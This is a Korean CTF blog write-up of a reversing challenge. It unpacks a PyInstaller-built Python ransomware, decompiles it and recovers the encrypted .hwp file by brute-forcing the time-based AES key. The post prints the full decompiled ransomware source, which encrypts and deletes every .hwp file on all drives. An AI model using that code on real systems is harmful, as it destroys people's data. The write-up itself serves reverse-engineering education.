Holy Shield 2016 - Ransome

By conchi | January 6, 2017

reversing150-ransome



병신년이 가고 새해가 밝았습니다 :3
새해 첫 글로 콘치선원의 롸업을 하나 퍼다 날라봅니다!
어김없이 약빨고 호롤롤롤롤로 재미있고 잉여로운 글로 찾아뵙는 2017년 원양어선 블로그 되도록 하겠습니다 :)
많은 구독, 방문, 그리고 피드백!! 부탁드립니다! 예에!!
다들 Happy New Year!!!!!!!






그렇다고 한다.
zip파일의 압축을 풀어주면 두개의 파일이 들어있다.




이렇게 생긴 파일들인데 아이콘이 좀 이상하게 생겼다.




오리인가??
?_? 뭐지??
뭔가 내가 아는exe파일이랑은 좀 다르게 생겼다.
노란게 약간 파이썬 느낌도 나느것 같고..’ㅅ’..a
잘모르겠으니 일단 분석을 좀 더 해보자

IDA에 던졌더니 난리남ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ아니 이게뭐람 ;ㅁ;…
C가 아니란말이야? ㅜㅜ왜이래나한테 ㅜㅜ…




콘적콘적.. C나 C++로 만들어진 바이너리가 아닌가보군..
흐음… 그럼뭘까.. 아까 저 수상하게 생긴 오리 아이콘이 힌트인가..

파이썬 느낌나는 노란 오리가 마음에 걸려서 python exe라고 구글에 검색을 해봤더니




노란오리를 발견했다!(경험치 30상승)
얘는 파이썬으로 만들어진 exe라는걸 알게되었다.
저 오리(?) 이미지를 눌러 찾아보았더니 pyinstaller라는걸 이용해서 exe파일을 만들면
이런 귀여운 아이콘이 생긴다는것 같다.
자세한 내용은 요기를 참고하면 될듯.




HxD같은 헥스 에디터로 까보니 파이썬 모듈 썼다고 나옴..ㅎ… 쥬륵..
미리미리.. 열어봤어야 했건만… 나란 물꼬기..
지금이라도 알은게 어디얏 꺄륵!

그런데 이건 디컴파일을 어떻게하징 ^0^;;;…
실행하면 진짜 파일 잠기나보던데…
뀨..?
음…

이리저리 돌아다니면서 검색하다가 발견한 PyInstaller Extractor라는 툴로 파일을 풀어보았다.
하..이거찾느라 시간 엄청걸림..ㅜㅜ 일단 python으로 exe만들어논 파일을 분석하는걸
처음해봄 ㅜㅜ……………
풀고난 뒤의 모습이다. 후후이런상태였군 후후…




아까 HxD에서 봤던 python27.dll도 다 들어있다. 신기신기!
그런데 어딜봐야…문제를 풀수있는걸까..?-?…
그런데 여기 보면 *.pyd라는 확장자를 가진 파일들이 몇개 보인다.
python은 항상 리눅스에서만 쓰거나 py파일 그자체만을 사용해왔기 때문에
이런것에 생소한 와타시가 한번 찾아봤듬.

windows로 치면 dll와 비슷한 개념이라고 한다.
그럼 pyd파일들은 지금 당장은 중요하지 않을것 같은데…
난 main에 관련된 파일을 찾아 파일을 암호화 하는 코드를 찾아야 하는데 ㅜㅜ…
그러기엔 ransomeransome.exe.manifest라는 파일들이 수상해보인다.
뭔가 py파일같은게 있을줄 알았는데 하나도 없네.쩝쩝..
디컴파일을 하려면 못해도 pyc나 py파일이 있어야 하는데 하나도 없ㅋ당ㅋ
==…뭐지… 뭔가 수상한데…
그러면 얘의 핵심 메인코드는 어디있단말인가…
ransome이 파일이 수상해서 저걸 hxd에다가 던져봤지만ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
사실 감도 안잡히고…하 ==.. 멘붕에 휘말렸다.

그러다가 정말 혹시나 해서 pyc파일을 하나 만들어서 헥사값을 비교하기로했다.
왜냐면 나는 헥사값밖에 모르는 바보니까..
그러다가 좀 놀라운 걸 발견했다.

우선 pyc 파일만들기는 간단하다.


아무데다가 py파일을 하나 만들어주고, 해당위치에서 python을 실행시켜서  

> import py_compile
> py_compile.compile('pyc를 만들 파일이름.py')

해주고 난 뒤, 해당 위치에 cmd를 하나 열고  

$ python -mcompileall .

해주면 끝!!  

(참고한 블로그 : http://m.blog.naver.com/nikeruga/60062793622)




이건 내가 만든 pyc파일
뭐 별내용이 없다. 왜냐면 print “hello”하는게 전부인 아주 간단한 파일이기 때문에.
아까부터 계속 수상했던 ransome를 hxd로 열어보았다.




?!?!!?!?!보임??




ㅎㅎ..동일한 부분을 발견했다는!
그런데 ransome파일에는 앞부분이 짤렸더라는!
이로써 우리는 아 이거 제작자가 일부러 앞부분 지워버린각 아니냐!!
라는 결론을 낼 수 있게됨.
그래서 앞에다가 정상적인 pyc에 있는 03 F3 0D 0A 2B 79 67 58 요걸 추가시켜주고 새로운 파일을 하나 만들었다.
그리고는 ransome.pyc라고 파일이름도 지어줌.




후후 그럴싸한 pyc파일이 하나 만들어졌다.
이제 얘를 디컴파일해보도록 하자.

Easy Python Decompiler이라는 툴을 이용하였다.





이렇게 decompile된 *.pyc_dis는 *.py로 바꿔준 후 코드를 보면 된다고 한다.
두근두근


# Embedded file name: ransome.py
import os, random, struct, hashlib, time, win32api, time
from Crypto.Cipher import AES
extensions = ['.hwp']

def find_file(key):
    for drive in win32api.GetLogicalDriveStrings().split('\x00')[:-1]:
        for root, dirs, files in os.walk(drive):
            for file in files:
                if file.endswith(tuple(extensions)):
                    in_filename = os.path.join(root, file)
                    print '[+] - Found File_Name [+]'
                    print in_filename
                    print '[!] - Encrypt Binary'
                    encrypt_file(key, in_filename)
                    print '[+] - Encrypt Finished'
                    print '[!] - File Delete'
                    os.remove(os.path.join(root, file))
                    print '[+] - File Deleted Finished'
                    time.sleep(1)
                    print

    print '[+] - All Done!!!'


def encrypt_file(key, in_filename, out_filename = None, chunksize = 65536):
    if not out_filename:
        out_filename = in_filename + '.enc'
    iv = 'IV_HSRANSOMWARE\x00'
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    filesize = os.path.getsize(in_filename)
    with open(in_filename, 'rb') as infile:
        with open(out_filename, 'wb') as outfile:
            outfile.write(struct.pack('<Q', filesize))
            outfile.write(iv)
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += ' ' * (16 - len(chunk) % 16)
                outfile.write(encryptor.encrypt(chunk))


def make_pass():
    timekey = int(time.time())
    return str(timekey)


def start():
    password = make_pass()
    key = hashlib.sha256(password).digest()
    find_file(key)


def main():
    start()


main()


짜잔! 이런 코드가 나왔다.
헤헤 =ㅅ=..a
이제..이걸보고..복호화..코드를 만들어야 하는 각인가..

python으로 AES로 파일을 암호화 하는 코드인듯 하다.
나는.. 암호에 출중한 사람도 아니고…
복호화 코드를 짤 자신도 없어서 ㅜㅜ.. python AES 복호화를 열심히 찾아보기로 했다.

후후

갓 구글에다가 파이썬 AES 파일 복호화라는 검색어로 찾아봤더니 블로그가 하나 나왔다.
파이썬 AES로 암호화된 파일을 복호화 하는 코드가 있었는데
별생각없이 보다가 여기 나오는 복호화 코드에서 낯익은 부분들을 발견했다.
제일 까다로운 부분이었던 passkey를 만드는 부분이었는데






암호화 할때 사용했던 것과 똑같은 방법을 사용해서 복호화를 하고 있었다는!!
세상에 +_+!!!
그래서 여기껄 수정해다가 쓰기로 결심함 두근두근
심지어 여기에는 암호화 하는 코드도 같이 들어있는데 가만보니
이거 왠지 긁어다 쓴 느낌적인 느낌이 들었음….은 여기.

그런데 한가지 문제가 생김.
파이썬 코드를 분석해보면


def start():
    password = make_pass()
    key = hashlib.sha256(password).digest()
    find_file(key)


def naim()안에 들어있는 start()라는 함수의 내부이다.
여기서 passwordmake_pass()라는 함수안에서 만들어지는게 보인다.
그렇게 만들어진 값은 sha256으로 해쉬되어 key에 저장되고,
find_file에서는 이렇게 만들어진 key를 이용하여 파일을 잠가버린다.
그럼 make_pass()를 확인해봐야겠지?


def make_pass():  
    timekey = int(time.time())  
    return str(timekey)  

….time.time()timekey를 만드네…
뭐여이건…..
침착하게 time.time()를 찾아보았더니


1970년 1월 1일 자정 이후로 누적된 초를 float단위로 반환


하는 그런 함수라고 한다.
그렇다면 이 파일이 만들어진 시간을 찾고,
1970년 1월 1일 자정 이후로 몇초가 지났는지 계산해서…
그 값을 뙇 넣으면 뙇! 하고 파일이 풀리나봉가?!
하아 =_=..

일단은 암호화된 한글파일이 만들어진 시간이




이렇게 되어있다. 2016년 1월 15일 금요일, 오후 5: 54분 52초로 기준시간을 맞춰주자.

그럼 이 시간들은 또 어떻게 구하냐!


from datetime import datetime
import time

datestr = "2016.01.15 17:54:52"
print "\nOriginal date string : ",datestr

# 1. string to time object
time1 = time.strptime(datestr,"%Y.%m.%d %H:%M:%S")
print "\nTime Obejct : ",time1," - ",type(time1)



# 2. time object to date string of different format 
datestr1 = time.strftime("%B %d, %Y (%H:%M:%S)",time1)
print "\nChange date format :",datestr1," - ",type(datestr1)



# 3. time object to unix timestamp
stamp1 = time.mktime(time1)
print "\nUnix timestamp : ",stamp1," - ",type(stamp1)



# 4. unix timestamp to time object
time2 = time.localtime(int(stamp1))
print "\nDatetime object : ",time2," - ",type(time2),"\n"



# 5. unix timestamp to datetime object
date1 = datetime.fromtimestamp(stamp1)
print "\nDatetime object : ",date1," - ",type(date1),"\n"


이런 코드를 구해왔다. 날짜 부분은 파일이 생성된 타임스탬프로 맞춰주고, # 3. time object to unix timestamp 여기서 출력되는 숫자에 주목한다.




ㅎㅎ 우리가 원하는 숫자가 딱 나왔당!
신나서 바로 복호화 코드에 넣고 돌렸더니 바로 안됨ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
…….;;


import struct, hashlib, time
import binascii
import os
from Crypto.Cipher import AES


def decrypt_file(key, in_filename, out_filename, chunksize=24 * 1024):
    with open(in_filename, 'rb') as infile:
        origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
        iv = infile.read(16)
        decryptor = AES.new(key, AES.MODE_CBC, iv)
        with open(out_filename, 'wb') as outfile:
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                outfile.write(decryptor.decrypt(chunk))
            outfile.truncate(origsize)

def main():
    for i in range(1452848000, 1452848200):
        #time.sleep(1)
        password = str(i)
        key = hashlib.sha256(password).digest()
        print binascii.hexlify(bytearray(key))
        in_filename = 'secret.hwp.enc'

        #delete original file
        #decrypt
        decrypt_file(key, in_filename=in_filename, out_filename='original.hwp')
        outfile = open('original.hwp')
        magic = outfile.read(8)
        print 'Magic Number : ' + magic.encode('hex')
        if magic.encode('hex') == 'd0cf11e0a1b1': # hwp Signature
                print 'This document is a HWP file.'
                exit()

main()


원래의 복호화 코드에다가 float형으로 출력된 숫자만 딱 넣었더니
역시나 바로 안돌아감 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
…..;; 예민보스로 돌변해서 이거 왠지 브포각아니냐… 하면서
그냥 깔끔하게 별 생각없이 1452848000부터 1452848200까지 돌려봤다.
어차피 생성시간이 1452848092였으니 그 언저리겠거니 싶어서.


Q. 근데 왜 magic.encode(‘hex’) 는 위에서 8바이트 읽었는데 아래에서 비교할때는 6바이트만 비교하나여?


A. 이거 원래 코드에는


이렇게 나와있다는 그런데 이렇게 해놓고 열심히 돌렸더니 뭐가 안나옴…
너무답답해서 1초씩 sleep걸어놓고 내가 직접 두눈으로 한줄한줄
확인하고 있었는데


이런놈이 있는데도 그냥 슉 넘어가버리는거… 이거 왠지.. hwp각인데..
그래서 지워놓고 혹시나 싶어서 파일 확인했더니 hwp파일 맞았듬..
그래서 지워가지고 아래에 6바이트 밖에 없는거 ㅎㅎ…


뭐 이렇게 수정해서 돌리게 되면 이제 잘나온다.




.enc의 파일이 .hwp로 바뀌면 알아서 잘 멈추게됨
그리고 나면 파일을 확인해보면 된다.




파일을 여니까 이렇게 나와서 한 30초간 가만히
검은 화면을 보며 오버워치 각인가 하고 있다가 클릭해보니 엥
이미진가? 싶은 점들이 보이기시작함.
혹시나 하고 내렸더니




하이륭!!

comments powered by Disqus